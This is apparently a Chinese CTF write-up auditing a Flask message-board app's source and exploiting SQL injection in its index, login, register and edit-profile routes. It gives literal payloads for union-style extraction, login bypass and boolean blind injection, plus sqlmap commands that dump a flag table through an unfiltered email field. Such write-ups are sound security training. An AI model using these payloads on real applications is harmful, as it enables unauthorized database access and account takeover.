主要功能就是登陆注册,修改个人信息,能留言 然后可以关注别人
下载附件审计,先看路由 route.py
/index路由
不存在过滤 关键是结果直接回显
追踪到Others.py的Add函数
a','1','2020-7-20'),(Null,(select database()),'1','2020-7-20')#
最终Payload: a','1','2020-7-20'),(Null,(select flag from flag),'1','2020-7-20')#
/login路由
到One函数之后,最后到Sel函数
无法登录
用万能密码直接登录之前创建的第一个用户
然后我新创建的用户反正除了这个admin1 都可以随便输一个密码就能登录了。。。。
这里应该也有一个盲注(数据库名是之前别的位置注入出来的)
admin1' or 1=(select database() = 'flask')#
(这个用户名要是刚才试过万能密码的那个,别的用户名不过表达式对错都会成功登录)
成功登录了,也就是说等式成立
Payload: admin1' or 1=(paylaod)#
/register路由
追踪到forms.py,可以看到username这里有过滤,但email并没有
追踪到Others.py
在页面测试,可以进行盲注,如果正确就会回显Please use a different email address.
这里的邮箱需要之前已经注册过的
可以写脚本也可以用sqlmap跑
这里因为在payload处加了前缀后缀,为了邮箱正确就把email处参数值清空了
sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 --dbs -v 4 --tamper=space2comment -csrf-token="csrf_token"
sqlmap.py -r test.txt -p email --prefix "123'" --suffix "#@qq.com" --dbms mysql 5.0 -D flask -T flag -C "flag" --dump -v 4 --tamper=space2comment -csrf-token="csrf_token"
/edit_profile路由
再到forms.py
note(页面上的About me)这里的过滤相对来说不严,有可乘之机
再看更新数据时用到的Mod函数
Sql语句基本就是update user set username=’admin’,note=’hello’ where id=1
这个样子
update user set username=’admin’,note=’1' and (select 1=1 ) and '1'='1’ where id=1
1' and (select 1=1 ) and '1'='1
的结果
1' and (select 1=2 ) and '1'='1
的结果
也就是可以利用这个进行布尔盲注